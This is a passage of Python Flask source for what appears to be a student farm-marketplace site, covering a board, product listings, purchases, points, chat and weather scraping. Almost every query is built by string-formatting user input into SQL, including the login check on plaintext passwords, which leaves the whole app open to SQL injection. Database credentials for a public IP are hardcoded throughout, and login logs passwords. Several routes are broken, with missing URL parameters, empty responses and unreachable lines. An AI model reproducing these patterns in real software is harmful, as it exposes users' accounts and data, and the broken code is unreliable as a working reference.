proComment_write(number):\r\n\tglobal current_time\r\n\tglobal month,year,day,time\r\n\t\r\n\tprint(123)\r\n\t\r\n\tif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\t\r\n\r\n\t\tif request.method == \"POST\":\r\n\t\t\tcontent = request.form['content'] #사진 내용\r\n\t\t\tf = request.files['img_name']\r\n\t\t\timg = f.filename #이미지 이름\r\n\t\t\tprint(img)\r\n\t\t\t\r\n\t\t\tfarm_load = \"static/comment/\"\r\n\r\n\t\t#저장할 경로 + 파일명\r\n\t\t\tf.save(farm_load+secure_filename(f.filename)) #사진 파일 이름\r\n\r\n\t\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\t\tcurs = con.cursor()\r\n\r\n\t\t\tsql = \"insert into pro_comment (`name`,`content`, `img_name`, `date`,`proNum`) values ('%s','%s','%s','%s','%d')\" %(name, content, img, current_time,number)\r\n\t\t\tcurs.execute(sql)\r\n\t\t\tcon.commit()\r\n\r\n\t\t\treturn \"\"%number\r\n\t\r\n# 게시글 삭제\r\n@app.route('/board_delete/')\r\ndef board_delete(number):\r\n\tif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\t\t\r\n\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\tcurs = con.cursor()\r\n\t\t\t \r\n\t\tsql = \"delete from board where num=%d\"%number\t \r\n\t\tcurs.execute(sql)\r\n\t\tcon.commit()\r\n\t\t\t \r\n\t\treturn \"\"\r\n\t\r\n\treturn render_template('borad.html')\r\n\t\r\n\r\n#게시글 수정 보여주는 거\r\n@app.route('/board_modify/')\r\ndef board_modify(number):\r\n\tif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\t\t\r\n\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\tcurs = con.cursor()\r\n\t\t\r\n\t\tsql = \"select writer, title, content, date from board where num=%d\"%number\r\n\t\tcurs.execute(sql)\r\n\t\t\r\n\t\tmodify = curs.fetchall()\r\n\t\t\r\n\t\tprint(modify)\r\n\t\treturn render_template('board_modify.html',user_id=user_id, name=name, modify=modify, number=number)\r\n\t\t\r\n\treturn render_template('board_modify.html',user_id='-1', name='-1')\r\n\r\n\r\n\r\n#게시글 수정 완료\r\n@app.route('/modify_success/', methods=[\"GET\", \"POST\"])\r\ndef modify_success(number):\r\n\tif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\t\t\r\n\t\tif request.method == \"POST\":\r\n\t\t\ttitle = request.form['title']\r\n\t\t\tcontent = request.form['content']\r\n\t\t\r\n\t\t\tprint(title)\r\n\t\t\tprint(content)\r\n\t\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\t\tcurs = con.cursor()\r\n\t\t\r\n\t\t\tsql = \"update board set title = '%s', content = '%s' where num=%d\"%(title,content,number)\r\n\t\t\tcurs.execute(sql)\r\n\t\t\tcon.commit()\r\n\t\t\t\r\n\t\t\treturn \"\"\r\n\t\r\n\t\r\n\treturn render_template('board_view',user_id='-1', name='-1')\r\n#게시글 작성\r\n@app.route('/write', methods=[\"GET\", \"POST\"])\r\ndef write():\r\n\tglobal current_time\r\n\tglobal month,year,day,time\r\n \r\n\tif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\t\treturn render_template('write.html',user_id=user_id, name=name, year=year, month=month, day=day, time=time)\r\n\t \r\n\telse:\r\n\t\treturn \"\"\r\n\t\t\r\n\treturn render_template('write.html',user_id='-1', name='-1')\r\n\r\n\r\n@app.route('/write_success', methods=[\"GET\", \"POST\"])\r\ndef write_success():\r\n\tglobal current_time\r\n\tglobal month,year,day,time \r\n\t\r\n\tif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\r\n\t\tif request.method == \"POST\":\r\n\t\t\ttitle = request.form['title']\r\n\t\t\tcontent = request.form['content']\r\n\t\t\t\r\n\t\t\tif title is not None and content is not None:\r\n\t\t\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\t\t\tcurs = con.cursor()\r\n\t\t\t\t\t\t \r\n\t\t\t\tsql = \"insert into board (`writer`, `title`, `content`, `date`) values ('%s','%s','%s','%s')\" %(user_id, title, content,current_time)\r\n\t\t\t\tcurs.execute(sql)\r\n\t\t\t\tcon.commit()\r\n\t\t\t\tcon.close()\r\n\t\t\t\tcurs.close()\r\n\t\t\t\tprint(\"title : \" +title)\r\n\t\t\t\tprint(\"content : \"+content)\r\n\t\t\t\treturn \"\" \r\n\t\t\telse:\r\n\t\t\t\tif title is None:\r\n\t\t\t\t\treturn \"\"\r\n\t\t\t\telif content is None:\r\n\t\t\t\t\treturn \"\"\r\n\t\t\t\r\n\r\n\t\r\n@app.route('/login', methods=[\"GET\", \"POST\"])\r\ndef login():\r\n\tif \"uesr_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\tif request.method==\"GET\":\r\n\t\tif \"user_id\" in session:\r\n\t\t\tuser_id = session['user_id']\r\n\t\t\tname = session['user_name']\r\n\t\t\treturn render_template('login.html',user_id=user_id, name=name)\r\n\t\treturn render_template('login.html',user_id='-1', name='-1')\r\n\r\n\telif request.method==\"POST\":\r\n\t\tuser_id = request.form[\"user_id\"]\r\n\t\tpw = request.form[\"password\"]\r\n\t\tif user_id == \"\":\r\n\t\t\treturn \"\"\r\n\t\telse:\r\n\t\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\t\tcur = con.cursor()\r\n\t\t\tsql = f'select EXISTS (select * from user_info where id=\"{user_id}\" and password=\"{pw}\") as success'\r\n\r\n\t\t\tcur.execute(sql)\r\n\t\r\n\t\t\tlogin_check=cur.fetchone()[0]\r\n\t\t\tsql2 = f'select name from user_info where id = \"{user_id}\"'\r\n\t\t\tcur.execute(sql2)\r\n\t\t\r\n\t\t\tname=cur.fetchone()\r\n\t\t\tif name:\r\n\t\t\t\tname = name[0]\r\n\t\t\t# if logout:\r\n\t\t\t\t# session['user_id'] = None\r\n\r\n\t\t\t#로그인성공\r\n\t\t\tif login_check == 1:\r\n\t\t\t\tsession['user_id'] = user_id\r\n\t\t\t\tsession['user_name'] = name\r\n\t\t\t\tpass\r\n\t\t\r\n\t\t\telse:\r\n\t\t\t\treturn \"\"\r\n\t\t\r\n\t\t\tprint(login_check)\r\n\t\t\tprint(f'user_id={user_id}\\tpw={pw}')\r\n\t\t\r\n\t\t\treturn render_template('main.html',user_id=user_id,name=name)\r\n\t\r\n@app.route('/test', methods=['GET', 'POST'])\r\n\r\ndef test(): #회원가입 함수\r\n \r\n #입력된 값 id 값 통해 전송\r\n\tif request.method == 'POST':\r\n\t\tname = request.form['name']\r\n\t\tuserid = request.form['userid']\r\n\t\tpassword = request.form['password']\r\n\t\tpassCheck = request.form['pass_check']\r\n\t\temail = request.form['email']\r\n\t\tphoneNum = request.form['phoneNum']\r\n\t\tjob = request.form['job']\r\n\t \r\n\t\t\r\n\r\n # mysql db 연결\r\n\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\tcurs = con.cursor()\r\n\t \r\n\t\tsql2 = f'select EXISTS (select * from user_info where id=\"{userid}\") as success'\r\n\t\tcurs.execute(sql2)\r\n\t\tresult = curs.fetchone()[0]\r\n\t \r\n\t\tif result==1:\r\n\t\t\treturn \"\"\r\n\t\telse:\r\n\t\t\tif 4 <= len(userid) < 20:\t\t\r\n\t\t\t\tif userid not in password:\r\n\t\t\t\t\t\r\n\t\t\t\t\tsql = \"insert into user_info (`name`,`id`,`password`,`email`,`phoneNum`, `job`) values ('%s','%s','%s','%s','%s','%s')\" %(name,userid,password,email,phoneNum,job)\r\n\t\t\t\t\tcurs.execute(sql)\r\n\t\t\t\t\tcon.commit()\r\n\t\t\t\telif userid in password:\r\n\t\t\t\t\treturn \"\"\r\n\t\t\telse:\r\n\t\t\t\treturn \"\"\t\t\t\r\n\t\t\r\n\t\t\r\n\t\treturn \"\"\r\n\t\tcon.close()\r\n\t\tcurs.close()\r\n\r\n\r\n\r\n\treturn render_template('login.html')\t\r\n@app.route('/signup')\r\ndef signup():\r\n\tif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\t\treturn render_template('signup.html',user_id=user_id, name=name)\r\n\t\t\r\n\treturn render_template('signup.html',user_id='-1', name='-1')\r\n\r\n\t\r\n@app.route('/product_regist')\r\ndef product_regist():\r\n\tif \"user_id\" not in session:\r\n\t\treturn \"\"\r\n\r\n\telif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name'] \r\n\t\t\r\n\t\treturn render_template('product_regist.html',user_ids=user_id, name=name)\r\n\t\t\t\r\n\treturn render_template('product_regist.html', user_id='-1', name='-1')\r\n\r\n# 작물 등록\r\n@app.route('/product_success', methods=[\"GET\", \"POST\"])\r\ndef product_success():\r\n\tif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\t\tranNum = str(random.randint(1, 10000))\r\n\t\t\t\r\n\t\tif request.method == \"POST\":\r\n\t\t\tf = request.files['img_name']\r\n\t\t\t#저장할 경로 + 파일명\r\n\t\t\tf.save('static/uploads/'+secure_filename(ranNum+f.filename))\r\n\t\t\t\r\n\t\t\tkind = request.form['kind'] #과일, 작물\r\n\t\t\tname = request.form['name'] #이름\r\n\t\t\tcontent = request.form['content'] #내용\r\n\t\t\tprice = request.form['price'] #가격\r\n\t\t\tcount = request.form['count'] #수량\r\n\t\t\timg = ranNum+f.filename #이미지 이름\r\n\t\t\t\r\n\t\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\t\tcurs = con.cursor()\r\n\t\t\t\t\t\t\r\n\t\t\tsql = \"insert into pay_board (`userid`, `proname`, `price`, `content`, `count`, `kind`, `image`,`state`,`invo_num`) values ('%s', '%s','%s','%s','%s', '%s','%s','%s','%s')\"%(user_id, name, price, content, count, kind, img,'준비중','준비중')\r\n\t\t\tcurs.execute(sql)\r\n\t\t\tcon.commit()\r\n\t\t\t\r\n\t\t\tif kind == \"과일\":\r\n\t\t\t\treturn \"\"\r\n\t\t\telif kind == \"작물\":\r\n\t\t\t\treturn \"\"\r\n\t\t\t\r\n@app.route('/product_view')\r\ndef product_view(pro_num):\r\n\tif \"user_id\" not in session:\r\n\t\treturn \"\"\r\n\r\n\telif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\t\t\r\n\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\tcurs = con.cursor()\r\n\t\t\r\n\t\tsql = \"select * from pay_board where num=%d\"%pro_num\r\n\t\tcurs.execute(sql)\r\n\t\tproduct = curs.fetchall()\r\n\t\t\r\n\t\tsql2 = \"select * from pro_comment where proNum=%d\"%pro_num\r\n\t\tcurs.execute(sql2)\r\n\t\tcomment = curs.fetchall()\r\n\t\tprint(comment)\r\n\t\tprint(product)\r\n\t\treturn render_template('product_view.html', user_id=user_id, name=name, product=product,pro_num=pro_num,comment=comment)\r\n\t\r\n\treturn render_template('product_view.html', user_id='-1', name='-1')\r\n\t\r\n\t\r\n@app.route('/purchase', methods=[\"GET\", \"POST\"])\r\ndef purchase(pro_num):\r\n\tif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\t\t\t\r\n\t\tif request.method == \"POST\":\r\n\t\t\tcount = int(request.form[\"count\"])\r\n\t\t\r\n\t\tprint(count)\r\n \r\n\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\tcurs = con.cursor()\r\n\t\t\r\n\t\tsql = \"select * from pay_board where num=%d\"%pro_num\r\n\t\tcurs.execute(sql)\r\n\t\t\r\n\t\tdetail = curs.fetchall()\r\n\t\t\r\n\t\tsql2 = f\"select phoneNum from user_info where id='%s'\"%user_id\r\n\t\tcurs.execute(sql2)\r\n\t\tphone = curs.fetchone()[0]\r\n\t\t\r\n\t\tsql3 = f\"select point from user_info where id='%s'\"%user_id\r\n\t\tcurs.execute(sql3)\r\n\t\tpoint = curs.fetchone()[0]\r\n\t\t\r\n\t\tprint(detail)\t\t\r\n\t\tprint(phone)\t\t\r\n\t\t\r\n\t\treturn render_template('purchase.html', user_id=user_id, name=name, detail=detail, count=count, phone=phone, point=point)\r\n\t\r\n\treturn render_template('purchase.html', user_id='-1', name='-1')\r\n\r\n@app.route('/test2', methods=[\"POST\"])\r\ndef test2():\r\n\tif \"user_id\" in session:\r\n\t\ta = request.form['postcode']\r\n\t\tb = request.form['roadAddress']\r\n\t\tc = request.form['jibunAddress']\r\n\t\td = request.form['detailAddress']\r\n\t\te = request.form['extraAddress']\r\n\t\tproductNum = int(request.form['productNum'])\r\n\t\tseller =request.form['seller_id']\r\n\t\tbuyer=request.form['buyer']\r\n\t\tprice=int(request.form['price'])\r\n\t\tcount=int(request.form['count'])\r\n\r\n\t\t\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name'] \r\n\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\tcurs = con.cursor()\r\n\t\t\r\n\t\tprint(buyer)\r\n\t\tprint(a+b+c+d+e)\r\n\t\tprint(seller)\r\n\t\tprint(productNum)\r\n\t\tprint(price)\r\n\t\tprint(count)\r\n\t\t\r\n\t\tsql = \"insert into pay_info values ('%s','%s','%s','%d','%d','%s','%s','%s','%d')\"%(user_id, buyer, seller, count, price,'준비중','준비중',a+b+c+d+e,productNum)\r\n\t\tcurs.execute(sql)\r\n\t\tcon.commit()\r\n\t\t\r\n\t\t# sql2 = \"select * from pay_board\"\r\n\t\t# curs.execute(sql2)\r\n\t\t# test = curs.fetchone()\r\n\t\t#print(curs.rowcount)\t\t \r\n\r\n\t\treturn render_template('main.html', user_id=user_id, name=name)\r\n\t\r\n\treturn render_template('main.html', user_id='-1', name='-1')\r\n@app.route('/test3', methods=[\"POST\"])\r\ndef test3():\r\n\tprint(123)\r\n\tif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tprice=int(request.form['price'])\r\n\t \r\n\t\tprint(price)\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name'] \r\n\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\tcurs = con.cursor()\r\n\t\t\r\n\t\tsql = \"update user_info set point = point - '%d' where id = '%s'\" %(price,user_id)\r\n\t\tcurs.execute(sql)\r\n\t\tcon.commit()\r\n\t\t\r\n\t\treturn render_template('main.html', user_id=user_id, name=name)\r\n\t\r\n\treturn render_template('main.html', user_id='-1', name='-1')\t\r\n\t\r\n@app.route('/test4', methods=[\"POST\"])\r\ndef test4():\r\n\tif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tpoint=int(request.form['point'])\r\n\t \r\n\t\tprint(point)\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name'] \r\n\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\tcurs = con.cursor()\r\n\t\t\r\n\t\tsql = \"update user_info set point = point + '%d' where id = '%s'\" %(point,user_id)\r\n\t\tcurs.execute(sql)\r\n\t\tcon.commit()\r\n\t\t\r\n\t\treturn render_template('main.html', user_id=user_id, name=name)\r\n\t\r\n\treturn render_template('main.html', user_id='-1', name='-1')\t\t\r\n\r\n@app.route('/test5', methods=[\"POST\"])\r\ndef test5():\r\n\tif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tinvoNum=request.form['invoNum']\r\n\t\tpNum =int(request.form['pNum'])\r\n\t\tprint(pNum)\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name'] \r\n\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\tcurs = con.cursor()\r\n\t\t\r\n\t\tsql = \"update pay_info set invo_num = '%s',status='%s' where product_num = '%d'\" %(invoNum,'배송중',pNum)\r\n\t\tcurs.execute(sql)\r\n\t\tcon.commit()\r\n\r\n \r\n\t\treturn render_template('main.html', user_id=user_id, name=name)\r\n\t\r\n\treturn render_template('main.html', user_id='-1', name='-1')\t\t \r\n\t\r\n@app.route('/detail_purchase', methods=[\"GET\", \"POST\"])\r\ndef detail_purchase():\r\n\tif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\r\n\t\r\n\t\treturn render_template('main.html', user_id=user_id, name=name)\r\n\t\r\n\treturn render_template('main.html', user_id='-1', name='-1')\r\n\t\r\n\r\n\r\n#들어가기 전에 소개글 작성\r\n@app.route('/meeting_intro', methods=[\"GET\", \"POST\"])\r\ndef meeting_intro():\r\n\tif \"user_id\" not in session:\r\n\t\treturn \"\"\r\n\t\t\r\n\telif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\t\t\r\n\t\tif request.method == \"POST\":\r\n\t\t\tintro = request.form['intro']\r\n\r\n\t\t\t\r\n\t\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\t\tcurs = con.cursor()\r\n\r\n\t\t\tsql = \"insert into user_intro (`name`, `intro`) values ('%s','%s')\" %(name, intro)\r\n\t\t\tcurs.execute(sql)\r\n\t\t\tcon.commit()\r\n\r\n\r\n\t\treturn redirect(url_for('meeting'))\r\n\t\t\r\n#채팅 \r\n@app.route('/meeting', methods=[\"GET\", \"POST\"])\r\ndef meeting():\t\r\n\t\r\n\tif \"user_id\" not in session:\r\n\t\treturn \"\"\r\n\t\t\r\n\telif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\t\t\t\t\r\n\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\tcurs = con.cursor()\r\n\t\r\n\t\t#만남의 광장, 특정 유저 가입, 존재 여부 확인 쿼리\r\n\t\tsql = \"select exists (select * from user_intro where name = '%s') as success\"%name\r\n\t\tcurs.execute(sql)\r\n\t\t\r\n\t\tresult = curs.fetchone()[0]\r\n\r\n\t\t#데이터가 존재할때\r\n\t\tif result == 1:\r\n\t\t\t\r\n\t\t\tsql = f\"select * from user_images where name = '%s'\"%name\r\n\t\t\tcurs.execute(sql)\r\n\r\n\t\t\tu_images = curs.fetchall()\r\n\r\n\r\n\t\t\tsql2 = f\"select * from user_intro where name = '%s'\"%name\r\n\t\t\tcurs.execute(sql2)\r\n\t\t\r\n\t\t\tf_intro = curs.fetchone()\r\n\r\n\t\t\t#만남의 광장에 등록된 유저들\r\n\t\t\tsql3 = f\"select name from user_intro\"\r\n\t\t\tcurs.execute(sql3)\r\n\t\t\r\n\t\t\tusers = curs.fetchall()\r\n\t\t\t\r\n\t\t\t\r\n\t\t\treturn render_template('meeting.html', user_id=user_id, name=name, f_intro=f_intro, u_images=u_images,users=users)\r\n\r\n\t\t#데이터가 존재하지 않을 떄\r\n\t\telif result == 0:\r\n\t\t\t\r\n\t\t\treturn render_template('meeting_intro.html', user_id=user_id, name=name)\r\n\r\ndef messageReceived(methods=['GET', 'POST']):\r\n\tprint('message was received!!!')\r\n\t\r\n\r\n@socketio.on('my event')\r\ndef handle_my_custom_event(json):\r\n\tprint('received my event: ' + str(json))\r\n\tsocketio.emit('my response', json, callback=messageReceived)\t\r\n\t\r\n\r\n\r\n@app.route('/chatting_test')\r\ndef chatting_test():\r\n \r\n\treturn render_template('chatting_test.html')\r\n\t\r\n#자기 농장 사진관 등록\r\n@app.route('/regist_farm')\r\ndef regist_farm():\r\n\tif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\r\n\t\treturn render_template('regist_farm.html', user_id=user_id, name=name)\r\n\r\n\treturn render_template('regist_farm.html', user_id='-1', name='-1')\r\n\r\n\t\r\n\r\n#사진 등록 완료\r\n@app.route('/farm_success', methods=[\"GET\", \"POST\"])\r\ndef farm_success():\r\n\tglobal current_time\r\n\tglobal month,year,day,time\r\n\r\n\tif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\r\n\t\tif request.method == \"POST\":\r\n\t\t\ttitle = request.form['title'] #사진 제목\r\n\t\t\tcontent = request.form['content'] #사진 내용\r\n\t\t\tf = request.files['file']\r\n\r\n\t\t\timg = f.filename #이미지 이름\r\n\r\n\t\t\tfarm_load = \"C:/Users/ehdrm/Desktop/졸작/static/farm/\"\r\n\r\n\t\t#저장할 경로 + 파일명\r\n\t\t\tf.save(farm_load+secure_filename(f.filename)) #사진 파일 이름\r\n\r\n\t\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\t\tcurs = con.cursor()\r\n\r\n\t\t\tsql = \"insert into user_images (`name`, `title`, `content`, `img_name`, `date`) values ('%s','%s','%s','%s','%s')\" %(name, title, content, img, current_time)\r\n\t\t\tcurs.execute(sql)\r\n\t\t\tcon.commit()\r\n\r\n\t\t\treturn redirect(url_for('meeting'))\r\n\t\r\n#농장 사진 볼 수 있는 곳\r\n@app.route('/image_view')\r\ndef image_view(num):\r\n\tif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\r\n\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\tcurs = con.cursor()\r\n\r\n\t\tsql = f\"select * from user_images where num = %d\"%num\r\n\t\tcurs.execute(sql)\r\n\r\n\t\tdetail_farm = curs.fetchall()\r\n\r\n\t\treturn render_template('image_view.html', user_id=user_id, name=name, detail_farm=detail_farm)\r\n\r\n\treturn render_template('image_view.html', user_id='-1', name='-1')\r\n\r\n\t\r\n#유저의 개인 농장 입장\r\n@app.route('/user_farm')\r\ndef user_farm():\r\n\tif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\r\n\t\tuser_name = request.args.get('visit')\r\n\t\t\r\n\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\tcurs = con.cursor()\r\n\t\t\r\n\t\tsql = f\"select * from user_intro where name = '%s'\"%user_name\r\n\t\tcurs.execute(sql)\r\n\t\t\r\n\t\tvisit_intro = curs.fetchone()\r\n\t\t\r\n\t\tsql2 = f\"select * from user_images where name = '%s'\"%user_name\r\n\t\tcurs.execute(sql2)\r\n\t\t\r\n\t\tvisit_images = curs.fetchall()\r\n\t\t\r\n\t\tsql3 = f\"select name from user_intro\"\r\n\t\tcurs.execute(sql3)\r\n\t\t\r\n\t\tusers = curs.fetchall()\r\n\t\t\t\t\r\n\t\tif name == user_name:\r\n\t\t\treturn redirect(url_for('meeting'))\r\n\t\t\r\n\t\telse:\r\n\t\t\treturn render_template('user_farm.html', user_id=user_id, name=name, visit_intro=visit_intro,visit_images=visit_images,users=users)\r\n\t\r\n\treturn render_template('user_farm.html', user_id='-1', name='-1')\r\n\r\n\r\n\t \r\n@app.route('/kakaomap')\r\ndef kakaomap():\r\n\tif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\r\n\t\treturn render_template('kakaomap.html', user_id=user_id, name=name)\r\n\t \r\n\treturn render_template('kakaomap.html', user_id='-1', name='-1')\r\n\r\n\r\n\t\r\n@app.route('/weathertest', methods=[\"GET\", \"POST\"])\r\ndef weathertest():\r\n\tif \"user_id\" not in session:\r\n\t\treturn \"\"\r\n\t\t\r\n\telif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\t\t\r\n\t\tif request.method == \"POST\":\r\n\t\t\tlocal = request.form['local']\r\n\t\t\t\r\n\t\t\t#driver_url = 'C:\\\\chromedriver.exe'\r\n\t\t\t\r\n\t\t\tdriver_url = './chromedriver' #우분투 환경' #우분투 환경\r\n\t\t\t\r\n\t\t\tchrome_options = webdriver.ChromeOptions()\r\n\t\t\tchrome_options.add_argument('--headless') #우분투\r\n\t\t\tchrome_options.add_argument('--no-sandbox')\r\n\t\t\tchrome_options.add_argument('--privileged')\r\n\t\t\tchrome_options.add_argument('--incognito')\r\n\t\t\tchrome_options.add_argument('--disable-dev-shm-usage')\r\n\t\t\tchrome_options.add_experimental_option(\"excludeSwitches\", [\"enable-logging\"])\r\n\t\t\t\r\n\t\t\tchrome_options = chrome_options\r\n\r\n\t\t\tdriver = webdriver.Chrome(driver_url, chrome_options=chrome_options)\r\n\r\n\t\t\tcontents = driver.page_source\r\n\t\t\r\n\t\t\t#서울 지역 날씨 \r\n\t\t\tif local == \"seoul\":\r\n\t\t\t\t\r\n\t\t\r\n\t\t\t\turl = f'https://www.weather.go.kr/weather/observation/currentweather.jsp?auto_man=m&stn=0&type=t99®=109&x=21&y=6&tm=2021.05.19.08%3A00'\r\n\t\t\t\tdriver.get(url)\r\n\t\t\t\tcontents = driver.page_source\r\n\r\n\t\t\t\tsoup = BeautifulSoup(contents, \"html.parser\")\r\n\t\t\r\n\t\t\r\n\t\t\t\ttable = soup.find('table', class_='table_develop3')\r\n\t\t\r\n\t\t\t\tw_list = []\t\t\r\n\t\t\r\n\t\t\t\tprint(w_list)\r\n\t\t\r\n\t\t\t\tfor tr in table.find_all('tr'):\r\n\t\t\t\t\ttds = list(tr.find_all('td'))\r\n\t\t\t\t\tfor td in tds:\r\n\t\t\t\t\t\tif td.find('a'):\r\n\t\t\t\t\t\t\tpoint = td.find('a').text\r\n\t\t\t\t\t\t\ttemp = tds[5].text\r\n\t\t\t\t\t\t\thumidity = tds[9].text\r\n\t\t\t\t\t\t\tprint(\"{0:<7} {1:<7} {2:<7}\".format(point,temp,humidity))\r\n\t\t\t\t\t\t\tw_list.append([point,temp,humidity])\r\n\t\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\r\n\t\t\t#부산 지역 날씨\r\n\t\t\telif local == \"busan\":\r\n\t\t\t\turl = f'https://www.weather.go.kr/weather/observation/currentweather.jsp?auto_man=m&stn=0&type=t99®=159&x=18&y=12&tm=2021.05.19.08%3A00'\r\n\t\t\t\tdriver.get(url)\r\n\t\t\t\tcontents = driver.page_source\r\n\r\n\t\t\t\tsoup = BeautifulSoup(contents, \"html.parser\")\r\n\t\t\r\n\t\t\r\n\t\t\t\ttable = soup.find('table', class_='table_develop3')\r\n\t\t\r\n\t\t\t\tw_list = []\t\t\r\n\t\t\r\n\t\t\r\n\t\t\r\n\t\t\t\tfor tr in table.find_all('tr'):\r\n\t\t\t\t\ttds = list(tr.find_all('td'))\r\n\t\t\t\t\tfor td in tds:\r\n\t\t\t\t\t\tif td.find('a'):\r\n\t\t\t\t\t\t\tpoint = td.find('a').text\r\n\t\t\t\t\t\t\ttemp = tds[5].text\r\n\t\t\t\t\t\t\thumidity = tds[9].text\r\n\t\t\t\t\t\t\tprint(\"{0:<7} {1:<7} {2:<7}\".format(point,temp,humidity))\r\n\t\t\t\t\t\t\tw_list.append([point,temp,humidity])\r\n\t\t\t\t\r\n\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t\t\r\n\t\t\t#광주 지역 날씨\r\n\t\t\telif local == \"gwangju\":\r\n\t\t\t\turl = f'https://www.weather.go.kr/weather/observation/currentweather.jsp?auto_man=m&stn=0&type=t99®=156&x=24&y=14&tm=2021.05.19.08%3A00'\r\n\t\t\t\tdriver.get(url)\r\n\t\t\t\tcontents = driver.page_source\r\n\r\n\t\t\t\tsoup = BeautifulSoup(contents, \"html.parser\")\r\n\t\t\r\n\t\t\r\n\t\t\t\ttable = soup.find('table', class_='table_develop3')\r\n\t\t\r\n\t\t\t\tw_list = []\t\t\r\n\t\t\r\n\t\t\r\n\t\t\r\n\t\t\t\tfor tr in table.find_all('tr'):\r\n\t\t\t\t\ttds = list(tr.find_all('td'))\r\n\t\t\t\t\tfor td in tds:\r\n\t\t\t\t\t\tif td.find('a'):\r\n\t\t\t\t\t\t\tpoint = td.find('a').text\r\n\t\t\t\t\t\t\ttemp = tds[5].text\r\n\t\t\t\t\t\t\thumidity = tds[9].text\r\n\t\t\t\t\t\t\tprint(\"{0:<7} {1:<7} {2:<7}\".format(point,temp,humidity))\r\n\t\t\t\t\t\t\tw_list.append([point,temp,humidity])\r\n\t\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t#대전 지역 날씨\r\n\t\t\telif local == \"daejun\":\r\n\t\t\t\turl = 